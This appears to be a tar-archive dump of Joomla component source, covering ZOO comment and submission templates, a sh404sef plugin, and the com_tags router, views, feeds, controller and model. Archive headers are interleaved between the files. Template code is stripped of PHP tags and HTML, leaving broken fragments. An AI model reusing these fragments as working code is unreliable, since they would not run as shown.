    com_zoo/partials/_comments.php000066600000003065150771500630012541 0ustar00app->document->addScript('libraries:jquery/plugins/cookie/jquery-cookie.js'); $this->app->document->addScript('assets:js/comment.js'); $this->app->document->addStylesheet('assets:css/comments.css'); // css classes $css[] = 'level1'; $css[] = $params->get('max_depth', 5) > 1 ? 'nested' : null; $css[] = $params->get('registered_users_only') && $active_author->isGuest() ? 'no-response' : null; ?>

      "> getChildren() as $comment) { echo $this->partial('comment', array('level' => 1, 'comment' => $comment, 'author' => $comment->getAuthor(), 'params' => $params)); } ?>
    isCommentsEnabled()) : echo $this->partial('respond', compact('active_author', 'params', 'item', 'captcha')); endif; ?>
    com_zoo/partials/index.html000066600000000036150771500630012034 0ustar00com_zoo/partials/_comment.php000066600000003746150771500630012364 0ustar00name = $author->name ? $author->name : JText::_('Anonymous'); ?>
  • get('avatar', 0)) : ?>
    getAvatar(50); ?>
    url) : ?>

    name; ?>

    name; ?>

    app->html->_('date', $comment->created, $this->app->date->format(JText::_('DATE_FORMAT_COMMENTS')), $this->app->date->getOffset()); ?> |
    app->comment->filterContentOutput($comment->content); ?>
    getItem()->isCommentsEnabled()) : ?>
    state != Comment::STATE_APPROVED) : ?>
    hasChildren()) : ?>
      getChildren() as $comment) { echo $this->partial('comment', array('level' => $level, 'comment' => $comment, 'author' => $comment->getAuthor(), 'params' => $params)); } ?>
  • com_zoo/partials/_mysubmissions.php000066600000007147150771500630013645 0ustar00app->document->addStylesheet('assets:css/submission.css'); $this->app->document->addScript('assets:js/submission.js'); $mysubmissions_link = $this->app->route->mysubmissions($this->submission); ?>
    show_add): ?>
    lists['select_type'])) : ?>
    lists['select_type']; ?>
    items)) : ?>
      items as $id => $item) : ?>
    • submission->isInTrustedMode()) : ?> app->route->submission($this->submission, $item->type, null, $id, 'mysubmissions'); ?>

      name; ?> (getType()->name; ?>)

      params = $item->getParams('site'); ?> renderer->pathExists('item/'.$item->type)) ? $item->type : 'item'; ?>
    lists['search'])) : ?>

    filter_type); ?>

    com_zoo/sef_ext/index.html000066600000000036150771500630011652 0ustar00com_zoo/sef_ext/com_zoo.php000066600000015330150771500630012036 0ustar00getQuery(true); // if task is empty get task from view parameter $task = !empty($task) ? $task : (isset($query['view']) ? $query['view'] : null); $controller = isset($query['controller']) ? $query['controller'] : null; // ignore ajax requests if (in_array($task, array('remove', 'callelement', 'element')) || in_array($controller, array('comment', 'item'))) { $dosef = false; } switch ($task) { case 'alphaindex': $title[] = $task; $title[] = $zoo->alias->application->translateIDToAlias((int) $query['app_id']); $title[] = $query['alpha_char']; shRemoveFromGETVarsList('app_id'); shRemoveFromGETVarsList('alpha_char'); // pagination if (isset($query['page'])) { $title[] = $query['page']; shRemoveFromGETVarsList('page'); } break; case 'category': // retrieve item id from menu item if (!isset($query['category_id'])) { $query['category_id'] = $zoo->object->create('JSite')->getMenu()->getParams($Itemid)->get('category'); } $title[] = $task; $title[] = $zoo->alias->category->translateIDToAlias((int) $query['category_id']); // pagination if (isset($query['page'])) { $title[] = $query['page']; shRemoveFromGETVarsList('page'); } shRemoveFromGETVarsList('category_id'); break; case 'feed': $title[] = $task; $title[] = $query['type']; $title[] = $zoo->alias->application->translateIDToAlias((int) $query['app_id']); $title[] = $zoo->alias->category->translateIDToAlias((int) $query['category_id']); shRemoveFromGETVarsList('type'); shRemoveFromGETVarsList('app_id'); shRemoveFromGETVarsList('category_id'); break; case 'frontpage': // retrieve app id from menu item if (!isset($query['app_id'])) { $query['app_id'] = $zoo->object->create('JSite')->getMenu()->getParams($Itemid)->get('application'); } $title[] = $task; $title[] = $zoo->alias->application->translateIDToAlias($query['app_id']); // pagination if (isset($query['page'])) { $title[] = $query['page']; shRemoveFromGETVarsList('page'); } break; case 'item': // retrieve item id from menu item if (!isset($query['item_id'])) { $query['item_id'] = $zoo->object->create('JSite')->getMenu()->getParams($Itemid)->get('item_id'); } $title[] = $task; $title[] = $zoo->alias->item->translateIDToAlias((int) $query['item_id']); shRemoveFromGETVarsList('item_id'); break; case 'submission': // get menu $menu_params = $zoo->object->create('JSite')->getMenu()->getParams($Itemid); // retrieve item id from menu item if (!isset($query['submission_id'])) { $query['submission_id'] = $menu_params->get('submission'); $query['type_id'] = $menu_params->get('type'); $query['item_id'] = $menu_params->get('item_id'); $query['submission_hash'] = ''; } if ($query['layout'] == 'submission') { $title[] = $task; $title[] = $query['layout']; $title[] = $zoo->alias->submission->translateIDToAlias((int) $query['submission_id']); $title[] = $query['type_id']; $title[] = $query['submission_hash']; $title[] = $zoo->alias->item->translateIDToAlias((int) @$query['item_id']); $title = array_filter($title); shRemoveFromGETVarsList('layout'); shRemoveFromGETVarsList('submission_id'); shRemoveFromGETVarsList('type_id'); shRemoveFromGETVarsList('submission_hash'); shRemoveFromGETVarsList('item_id'); } else if ($query['layout'] == 'mysubmissions') { $title[] = $task; $title[] = $query['layout']; $title[] = $zoo->alias->submission->translateIDToAlias((int) $query['submission_id']); shRemoveFromGETVarsList('layout'); shRemoveFromGETVarsList('submission_id'); } break; case 'tag': $title[] = $task; $title[] = $zoo->alias->application->translateIDToAlias((int) $query['app_id']); $title[] = $query['tag']; shRemoveFromGETVarsList('app_id'); shRemoveFromGETVarsList('tag'); // pagination if (isset($query['page'])) { $title[] = $query['page']; shRemoveFromGETVarsList('page'); } break; default: // trigger sh404sef event $zoo->event->dispatcher->notify($zoo->event->create(null, 'application:sh404sef', array('title' => &$title, 'query' => &$query, 'dosef' => &$dosef))); } shRemoveFromGETVarsList('task'); shRemoveFromGETVarsList('view'); shRemoveFromGETVarsList('layout'); // ZOO ZOO ZOO ZOO ZOO ZOO ZOO ZOO // ------------------ standard plugin finalize function - don't change --------------------------- if ($dosef) { $string = shFinalizePlugin( $string, $title, $shAppendString, $shItemidString, (isset($limit) ? @$limit : null), (isset($limitstart) ? @$limitstart : null), (isset($shLangName) ? @$shLangName : null)); } // ------------------ standard plugin finalize function - don't change --------------------------- com_tags/metadata.xml000066600000000075150771500630010654 0ustar00 com_tags/router.php000066600000010207150771500630010401 0ustar00getMenu(); $params = JComponentHelper::getParams('com_tags'); $advanced = $params->get('sef_advanced_link', 0); // We need a menu item. Either the one specified in the query, or the current active one if none specified if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $mView = (empty($menuItem->query['view'])) ? null : $menuItem->query['view']; $mId = (empty($menuItem->query['id'])) ? null : $menuItem->query['id']; if (is_array($mId)) { JArrayHelper::toInteger($mId); } if (isset($query['view'])) { $view = $query['view']; if (empty($query['Itemid'])) { $segments[] = $query['view']; } unset($query['view']); } // Are we dealing with a tag that is attached to a menu item? if (isset($view) && ($mView == $view) and (isset($query['id'])) and ($mId == $query['id'])) { unset($query['view']); unset($query['id']); return $segments; } if (isset($view) and $view == 'tag') { if ($mId != (int) $query['id'] || $mView != $view) { if ($view == 'tag') { if ($advanced) { list($tmp, $id) = explode(':', $query['id'], 2); } else { $id = $query['id']; } $segments[] = $id; } } unset($query['id']); } if (isset($query['layout'])) { if (!empty($query['Itemid']) && isset($menuItem->query['layout'])) { if ($query['layout'] == $menuItem->query['layout']) { unset($query['layout']); } } else { if ($query['layout'] == 'default') { unset($query['layout']); } } }; $total = count($segments); for ($i = 0; $i < $total; $i++) { $segments[$i] = str_replace(':', '-', $segments[$i]); } return $segments; } /** * Parse the segments of a URL. * * @param array &$segments The segments of the URL to parse. * * @return array The URL attributes to be used by the application. * * @since 3.3 */ public function parse(&$segments) { $total = count($segments); $vars = array(); for ($i = 0; $i < $total; $i++) { $segments[$i] = preg_replace('/-/', ':', $segments[$i], 1); } // Get the active menu item. $app = JFactory::getApplication(); $menu = $app->getMenu(); $item = $menu->getActive(); // Count route segments $count = count($segments); // Standard routing for tags. if (!isset($item)) { $vars['view'] = $segments[0]; $vars['id'] = $segments[$count - 1]; return $vars; } // From the tags view, we can only jump to a tag. $id = (isset($item->query['id']) && $item->query['id'] > 1) ? $item->query['id'] : 'root'; $found = 0; /* * TODO: Sort this code out. Makes no sense! * $found isn't used. * The foreach loop will always break in first itteration */ foreach ($segments as $segment) { if ($found == 0) { $id = $segment; } $vars['id'] = $id; $vars['view'] = 'tag'; break; } $found = 0; return $vars; } } /** * Tags router functions * * These functions are proxys for the new router interface * for old SEF extensions. * * @deprecated 4.0 Use Class based routers instead */ function TagsBuildRoute(&$query) { $router = new TagsRouter; return $router->build($query); } function TagsParseRoute($segments) { $router = new TagsRouter; return $router->parse($segments); } com_tags/views/tag/view.html.php000066600000017452150771500630012717 0ustar00getParams(); // Get some data from the models $state = $this->get('State'); $items = $this->get('Items'); $item = $this->get('Item'); $children = $this->get('Children'); $parent = $this->get('Parent'); $pagination = $this->get('Pagination'); // Change to catch /*if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; }*/ // Check whether access level allows access. // TODO: SHould already be computed in $item->params->get('access-view') $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); foreach ($item as $itemElement) { if (!in_array($itemElement->access, $groups)) { unset($itemElement); } // Prepare the data. if (!empty($itemElement)) { $temp = new JRegistry; $temp->loadString($itemElement->params); $itemElement->params = clone($params); $itemElement->params->merge($temp); $itemElement->params = (array) json_decode($itemElement->params); } } if ($items !== false) { foreach ($items as $itemElement) { $itemElement->event = new stdClass; // For some plugins. !empty($itemElement->core_body)? $itemElement->text = $itemElement->core_body : $itemElement->text = null; $dispatcher = JEventDispatcher::getInstance(); JPluginHelper::importPlugin('content'); $dispatcher->trigger('onContentPrepare', array ('com_tags.tag', &$itemElement, &$itemElement->core_params, 0)); $results = $dispatcher->trigger('onContentAfterTitle', array('com_tags.tag', &$itemElement, &$itemElement->core_params, 0)); $itemElement->event->afterDisplayTitle = trim(implode("\n", $results)); $results = $dispatcher->trigger('onContentBeforeDisplay', array('com_tags.tag', &$itemElement, &$itemElement->core_params, 0)); $itemElement->event->beforeDisplayContent = trim(implode("\n", $results)); $results = $dispatcher->trigger('onContentAfterDisplay', array('com_tags.tag', &$itemElement, &$itemElement->core_params, 0)); $itemElement->event->afterDisplayContent = trim(implode("\n", $results)); // Write the results back into the body if (!empty($itemElement->core_body)) { $itemElement->core_body = $itemElement->text; } } } $this->state = &$state; $this->items = &$items; $this->children = &$children; $this->parent = &$parent; $this->pagination = &$pagination; $this->user = &$user; $this->item = &$item; // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); // Merge tag params. If this is single-tag view, menu params override tag params // Otherwise, article params override menu item params $this->params = $this->state->get('params'); $active = $app->getMenu()->getActive(); $temp = clone ($this->params); // Check to see which parameters should take priority if ($active) { $currentLink = $active->link; // If the current view is the active item and an tag view for one tag, then the menu item params take priority if (strpos($currentLink, 'view=tag') && (strpos($currentLink, '&id[0]='.(string) $item[0]->id))) { // $item->params are the article params, $temp are the menu item params // Merge so that the menu item params take priority $this->params->merge($temp); // Load layout from active query (in case it is an alternative menu item) if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } } else { // Current view is not tags, so the global params take priority since tags is not an item. // Merge the menu item params with the global params so that the article params take priority $temp->merge($this->state->params); $this->params = $temp; // Check for alternative layouts (since we are not in a single-article menu item) // Single-article menu item layout takes priority over alt layout for an article if ($layout = $this->params->get('tags_layout')) { $this->setLayout($layout); } } } else { // Merge so that item params take priority $temp->merge($item[0]->params); $item[0]->params = $temp; // Check for alternative layouts (since we are not in a single-tag menu item) // Single-tag menu item layout takes priority over alt layout for an article if ($layout = $item[0]->params->get('tag_layout')) { $this->setLayout($layout); } } // Increment the hit counter $model = $this->getModel(); $model->hit(); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_TAGS_DEFAULT_PAGE_TITLE')); } if ($menu && ($menu->query['option'] != 'com_tags')) { $this->params->set('page_subheading', $menu->title); } $title = $this->state->params->get('page_title'); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); foreach ($this->item as $itemElement) { if ($itemElement->metadesc) { $this->document->setDescription($itemElement->metadesc); } elseif ($itemElement->metadesc && $this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($itemElement->metakey) { $this->document->setMetadata('keywords', $itemElement->metakey); } elseif (!$itemElement->metakey && $this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } if ($app->getCfg('MetaAuthor') == '1') { $this->document->setMetaData('author', $itemElement->created_user_id); } } // TODO create tag feed document // Add alternative feed link if ($this->params->get('show_feed_link', 1) == 1) { $link = '&format=feed&limitstart='; $attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $this->document->addHeadLink(JRoute::_($link.'&type=rss'), 'alternate', 'rel', $attribs); $attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $this->document->addHeadLink(JRoute::_($link.'&type=atom'), 'alternate', 'rel', $attribs); } } } com_tags/views/tag/tmpl/default.php000066600000005322150771500630013373 0ustar00item) == 1); ?>
    params->get('show_page_heading')) : ?>

    escape($this->params->get('page_heading')); ?>

    params->get('show_tag_title', 1)) : ?>

    document->title, '', 'com_tag.tag'); ?>

    item) == 1 && (($this->params->get('tag_list_show_tag_image', 1)) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
    item[0]->images); ?> params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?> params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?> item[0]->description, '', 'com_tags.tag'); ?>
    params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)): ?> params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?> params->get('tag_list_description', '') > '') : ?> params->get('tag_list_description'), '', 'com_tags.tag'); ?> loadTemplate('items'); ?> params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->get('pages.total') > 1)) : ?>
    com_tags/views/tag/tmpl/default.xml000066600000016342150771500630013410 0ustar00
    com_tags/views/tag/tmpl/index.html000066600000000037150771500630013231 0ustar00 com_tags/views/tag/tmpl/list.php000066600000004377150771500630012733 0ustar00items); ?>
    params->get('show_page_heading')) : ?>

    escape($this->params->get('page_heading')); ?>

    params->get('show_tag_title', 1)) : ?>

    document->title, '', 'com_tag.tag'); ?>

    item) == 1 && (($this->params->get('tag_list_show_tag_image', 1)) || $this->params->get('tag_list_show_tag_description', 1))) : ?>
    item[0]->images); ?> params->get('tag_list_show_tag_image', 1) == 1 && !empty($images->image_fulltext)) : ?> params->get('tag_list_show_tag_description') == 1 && $this->item[0]->description) : ?> item[0]->description, '', 'com_tags.tag'); ?>
    params->get('tag_list_show_tag_description', 1) || $this->params->get('show_description_image', 1)): ?> params->get('show_description_image', 1) == 1 && $this->params->get('tag_list_image')) : ?> params->get('tag_list_description', '') > '') : ?> params->get('tag_list_description'), '', 'com_tags.tag'); ?> loadTemplate('items'); ?> com_tags/views/tag/tmpl/list.xml000066600000017242150771500630012737 0ustar00
    com_tags/views/tag/tmpl/list_items.php000066600000011345150771500630014125 0ustar00items); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
    params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
    params->get('filter_field')) :?>
    params->get('show_pagination_limit')) : ?>
    pagination->getLimitBox(); ?>
    items == false || $n == 0) : ?>

    params->get('show_headings')) : ?> params->get('tag_list_show_date')) : ?> items as $i => $item) : ?> items[$i]->core_state == 0) : ?> params->get('tag_list_show_date')) : ?>
    escape($item->core_title); ?> core_state == 0) : ?> displayDate, $this->escape($this->params->get('date_format', JText::_('DATE_FORMAT_LC3'))) ); ?>
    items)) : ?> params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?> com_tags/views/tag/tmpl/default_items.php000066600000007306150771500630014600 0ustar00authorise('core.edit', 'com_tags'); $canCreate = $user->authorise('core.create', 'com_tags'); $canEditState = $user->authorise('core.edit.state', 'com_tags'); $items = $this->items; $n = count($this->items); ?>
    params->get('show_headings') || $this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
    params->get('filter_field')) :?>
    params->get('show_pagination_limit')) : ?>
    pagination->getLimitBox(); ?>
    items == false || $n == 0) : ?>

      $item) : ?> core_state == 0) : ?>
    • escape($item->core_title); ?>

      event->afterDisplayTitle; ?> core_images);?> params->get('tag_list_show_item_image', 1) == 1 && !empty($images->image_intro)) :?> <?php echo htmlspecialchars($images->image_intro_alt); ?> params->get('tag_list_show_item_description', 1)) : ?> event->beforeDisplayContent; ?> core_body, $this->params->get('tag_list_item_maximum_characters')); ?> event->afterDisplayContent; ?>
    com_tags/views/tag/metadata.xml000066600000000215150771500630012560 0ustar00 com_tags/views/tag/index.html000066600000000037150771500630012255 0ustar00 com_tags/views/tag/view.feed.php000066600000004100150771500630012640 0ustar00link = JRoute::_(TagsHelperRoute::getTagRoute($app->input->getInt('id'))); $app->input->set('limit', $app->getCfg('feed_limit')); $siteEmail = $app->getCfg('mailfrom'); $fromName = $app->getCfg('fromname'); $feedEmail = $app->getCfg('feed_email', 'author'); $document->editor = $fromName; if ($feedEmail != "none") { $document->editorEmail = $siteEmail; } // Get some data from the model $items = $this->get('Items'); foreach ($items as $item) { // Strip HTML from feed item title $title = $this->escape($item->core_title); $title = html_entity_decode($title, ENT_COMPAT, 'UTF-8'); // URL link to tagged item // Change to new routing once it is merged $link = JRoute::_($item->link); // Strip HTML from feed item description text $description = $item->core_body; $author = $item->core_created_by_alias ? $item->core_created_by_alias : $item->author; $date = ($item->displayDate ? date('r', strtotime($item->displayDate)) : ''); // Load individual item creator class $feeditem = new JFeedItem; $feeditem->title = $title; $feeditem->link = $link; $feeditem->description = $description; $feeditem->date = $date; $feeditem->category = $item->title; $feeditem->author = $author; if ($feedEmail == 'site') { $item->authorEmail = $siteEmail; } elseif ($feedEmail === 'author') { $item->authorEmail = $item->author_email; } // Loads item info into RSS array $document->addItem($feeditem); } } } com_tags/views/tags/view.html.php000066600000014457150771500630013104 0ustar00getParams(); // Get some data from the models $state = $this->get('State'); $items = $this->get('Items'); $item = $this->get('Item'); $pagination = $this->get('Pagination'); // Change to catch /*if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; }*/ // Check whether access level allows access. // TODO: SHould already be computed in $item->params->get('access-view') $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); if (!empty($items)) { foreach ($items as $itemElement) { if (!in_array($itemElement->access, $groups)) { unset($itemElement); } // Prepare the data. $temp = new JRegistry; $temp->loadString($itemElement->params); $itemElement->params = clone($params); $itemElement->params->merge($temp); $itemElement->params = (array) json_decode($itemElement->params); } } $this->state = &$state; $this->items = &$items; $this->pagination = &$pagination; $this->user = &$user; $this->item = &$item; //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); // Merge tag params. If this is single-tag view, menu params override tag params // Otherwise, article params override menu item params $this->params = $this->state->get('params'); $active = $app->getMenu()->getActive(); $temp = clone ($this->params); // Check to see which parameters should take priority if ($active) { $currentLink = $active->link; // If the current view is the active item and the tags view, then the menu item params take priority if (strpos($currentLink, 'view=tags')) { $this->params = $active->params; $this->params->merge($temp); // Load layout from active query (in case it is an alternative menu item) if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } } else { // Current view is not a single tag, so the tag params take priority here // Merge the menu item params with the tag params so that the tag params take priority $temp->merge($item->params); $item->params = $temp; // Check for alternative layouts (since we are not in a single-article menu item) // Single tag menu item layout takes priority over alt layout for a tag if ($layout = $item->params->get('tag_layout')) { $this->setLayout($layout); } } } else { // Merge so that tag params take priority $temp->merge($item[0]->params); $item[0]->params = $temp; // Check for alternative layouts (since we are not in a single-tag menu item) // Single-tag menu item layout takes priority over alt layout for a tag if ($layout = $item[0]->params->get('tag_layout')) { $this->setLayout($layout); } } $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_TAGS_DEFAULT_PAGE_TITLE')); } if ($menu && ($menu->query['option'] != 'com_tags')) { $this->params->set('page_subheading', $menu->title); } // If this is not a single tag menu item, set the page title to the tag titles $title = ''; if (!empty($this->item)) { foreach ($this->item as $i => $itemElement) { if ($itemElement->title) { if ($i != 0) { $title .= ', '; } $title .= $itemElement->title; } } if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); foreach ($this->item as $itemElement) { if ($itemElement->metadesc) { $this->document->setDescription($this->item->metadesc); } elseif ($itemElement->metadesc && $this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($itemElement->metakey) { $this->document->setMetadata('keywords', $this->tag->metakey); } elseif (!$itemElement->metakey && $this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } if ($app->getCfg('MetaAuthor') == '1') { $this->document->setMetaData('author', $itemElement->created_user_id); } $mdata = $this->item->metadata->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->document->setMetadata($k, $v); } } } } // Add alternative feed link if ($this->params->get('show_feed_link', 1) == 1) { $link = '&format=feed&limitstart='; $attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $this->document->addHeadLink(JRoute::_($link.'&type=rss'), 'alternate', 'rel', $attribs); $attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $this->document->addHeadLink(JRoute::_($link.'&type=atom'), 'alternate', 'rel', $attribs); } } } com_tags/views/tags/tmpl/default.php000066600000002107150771500630013554 0ustar00params->get('all_tags_description'); $descriptionImage = $this->params->get('all_tags_description_image'); ?>
    state->get('show_page_heading')) : ?>

    escape($this->params->get('page_heading')); ?>

    params->get('all_tags_show_description_image') && !empty($descriptionImage)): ?>
    '; ?>
    loadTemplate('items'); ?>
    com_tags/views/tags/tmpl/default.xml000066600000013354150771500630013573 0ustar00
    com_tags/views/tags/tmpl/index.html000066600000000037150771500630013414 0ustar00 com_tags/views/tags/tmpl/default_items.php000066600000011660150771500630014761 0ustar00authorise('core.edit', 'com_tags'); $canCreate = $user->authorise('core.create', 'com_tags'); $canEditState = $user->authorise('core.edit.state', 'com_tags'); $columns = $this->params->get('tag_columns', 1); // Avoid division by 0 and negative columns. if ($columns < 1) { $columns = 1; } $bsspans = floor(12 / $columns); if ($bsspans < 1) { $bsspans = 1; } $bscolumns = min($columns, floor(12 / $bsspans)); $n = count($this->items); ?>
    params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
    params->get('filter_field')) : ?>
    params->get('show_pagination_limit')) : ?>
    pagination->getLimitBox(); ?>
    items == false || $n == 0) : ?>

    items as $i => $item) : ?>
      access)) && in_array($item->access, $this->user->getAuthorisedViewLevels())) : ?>
    • escape($item->title); ?>

      params->get('all_tags_show_tag_image') && !empty($item->images)) : ?> images); ?> image_intro)): ?> float_intro)) ? $this->params->get('float_intro') : $images->float_intro; ?>
      image_intro_caption) : ?> image_intro_caption) . '"'; ?> src="image_intro; ?>" alt="image_fulltext_alt); ?>"/>
      params->get('all_tags_show_tag_description', 1)) : ?> description, $this->params->get('tag_list_item_maximum_characters')); ?> params->get('all_tags_show_tag_hits')) : ?> hits); ?>
    items)) : ?> params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
    com_tags/views/tags/index.html000066600000000037150771500630012440 0ustar00 com_tags/views/tags/view.feed.php000066600000003763150771500630013041 0ustar00link = JRoute::_('index.php?option=com_tags&view=tags'); $app->input->set('limit', $app->getCfg('feed_limit')); $siteEmail = $app->getCfg('mailfrom'); $fromName = $app->getCfg('fromname'); $feedEmail = $app->getCfg('feed_email', 'author'); $document->editor = $fromName; if ($feedEmail != "none") { $document->editorEmail = $siteEmail; } // Get some data from the model $items = $this->get('Items'); foreach ($items as $item) { // Strip HTML from feed item title $title = $this->escape($item->title); $title = html_entity_decode($title, ENT_COMPAT, 'UTF-8'); // Strip HTML from feed item description text $description = $item->description; $author = $item->created_by_alias ? $item->created_by_alias : $item->author; $date = ($item->displayDate ? date('r', strtotime($item->displayDate)) : ''); // Load individual item creator class $feeditem = new JFeedItem; $feeditem->title = $title; $feeditem->link = '/index.php?option=com_tags&view=tag&id=' . (int) $item->id; $feeditem->description = $description; $feeditem->date = $date; $feeditem->category = 'All Tags'; $feeditem->author = $author; if ($feedEmail == 'site') { $item->authorEmail = $siteEmail; } elseif ($feedEmail === 'author') { $item->authorEmail = $row->author_email; } // Loads item info into RSS array $document->addItem($feeditem); } } } com_tags/views/index.html000066600000000037150771500630011502 0ustar00 com_tags/index.html000066600000000037150771500630010345 0ustar00 com_tags/controller.php000066600000002545150771500630011252 0ustar00input->get('view', 'tags'); $this->input->set('view', $vName); if ($user->get('id') ||($this->input->getMethod() == 'POST' && $vName = 'tags')) { $cachable = false; } $safeurlparams = array( 'id' => 'ARRAY', 'type' => 'ARRAY', 'limit' => 'UINT', 'limitstart' => 'UINT', 'filter_order' => 'CMD', 'filter_order_Dir' => 'CMD', 'lang' => 'CMD' ); return parent::display($cachable, $safeurlparams); } } com_tags/controllers/index.html000066600000000037150771500630012713 0ustar00 com_tags/controllers/tags.php000066600000002060150771500630012363 0ustar00 trim($app->input->get('like', null)), 'title' => trim($app->input->get('title', null)), 'flanguage' => $app->input->get('flanguage', null), 'published' => $app->input->get('published', 1, 'integer'), 'parent_id' => $app->input->get('parent_id', null) ); if ($results = JHelperTags::searchTags($filters)) { // Output a JSON object echo json_encode($results); } $app->close(); } } com_tags/tags.php000066600000000723150771500630010021 0ustar00execute(JFactory::getApplication()->input->get('task')); $controller->redirect(); com_tags/helpers/index.html000066600000000037150771500630012007 0ustar00 com_tags/helpers/route.php000066600000010660150771500630011664 0ustar00getRoute($contentItemId, $typeAlias, $link, $language, $contentCatId); } return $link; } /** * Tries to load the router for the component and calls it. Otherwise calls getRoute. * * @param integer $id The ID of the tag * * @return string URL link to pass to JRoute * * @since 3.1 */ public static function getTagRoute($id) { $needles = array( 'tag' => array((int) $id) ); if ($id < 1) { $link = ''; } else { if (!empty($needles) && $item = self::_findItem($needles)) { $link = 'index.php?Itemid=' . $item; } else { // Create the link $link = 'index.php?option=com_tags&view=tag&id=' . $id; } } return $link; } protected static function _findItem($needles = null) { $app = JFactory::getApplication(); $menus = $app->getMenu('site'); $language = isset($needles['language']) ? $needles['language'] : '*'; // Prepare the reverse lookup array. if (self::$lookup === null) { self::$lookup = array(); $component = JComponentHelper::getComponent('com_tags'); $items = $menus->getItems('component_id', $component->id); if ($items) { foreach ($items as $item) { if (isset($item->query) && isset($item->query['view'])) { $view = $item->query['view']; if (!isset(self::$lookup[$view])) { self::$lookup[$view] = array(); } // Only match menu items that list one tag if (isset($item->query['id'][0]) && count($item->query['id']) == 1) { // Here it will become a bit tricky // language != * can override existing entries // language == * cannot override existing entries if (!isset(self::$lookup[$language][$view][$item->query['id'][0]]) || $item->language != '*') { self::$lookup[$language][$view][$item->query['id'][0]] = $item->id; } self::$lookup[$view][$item->query['id'][0]] = $item->id; } if (isset($item->query["tag_list_language_filter"]) && $item->query["tag_list_language_filter"] != '') { $language = $item->query["tag_list_language_filter"]; } } } } } if ($needles) { foreach ($needles as $view => $ids) { if (isset(self::$lookup[$view])) { foreach($ids as $id) { if (isset(self::$lookup[$view][(int) $id])) { return self::$lookup[$view][(int) $id]; } } } } } else { $active = $menus->getActive(); if ($active) { return $active->id; } } return null; } } com_tags/models/tag.php000066600000020571150771500630011124 0ustar00type_alias); $item->link = 'index.php?option=' . $explodedTypeAlias[0] . '&view=' . $explodedTypeAlias[1] . '&id=' . $item->content_item_id . ':' . $item->core_alias; // Get display date switch ($this->state->params->get('tag_list_show_date')) { case 'modified': $item->displayDate = $item->core_modified_time; break; case 'created': $item->displayDate = $item->core_created_time; break; default: case 'published': $item->displayDate = ($item->core_publish_up == 0) ? $item->core_created_time : $item->core_publish_up; break; } } return $items; } else { return false; } } /** * Method to build an SQL query to load the list data of all items with a given tag. * * @return string An SQL query * * @since 3.1 */ protected function getListQuery() { $tagId = $this->getState('tag.id') ? : ''; $typesr = $this->getState('tag.typesr'); $orderByOption = $this->getState('list.ordering', 'c.core_title'); $includeChildren = $this->state->params->get('include_children', 0); $orderDir = $this->getState('list.direction', 'ASC'); $matchAll = $this->getState('params')->get('return_any_or_all', 1); $language = $this->getState('tag.language'); $stateFilter = $this->getState('tag.state'); // Optionally filter on language if (empty($language)) { $language = 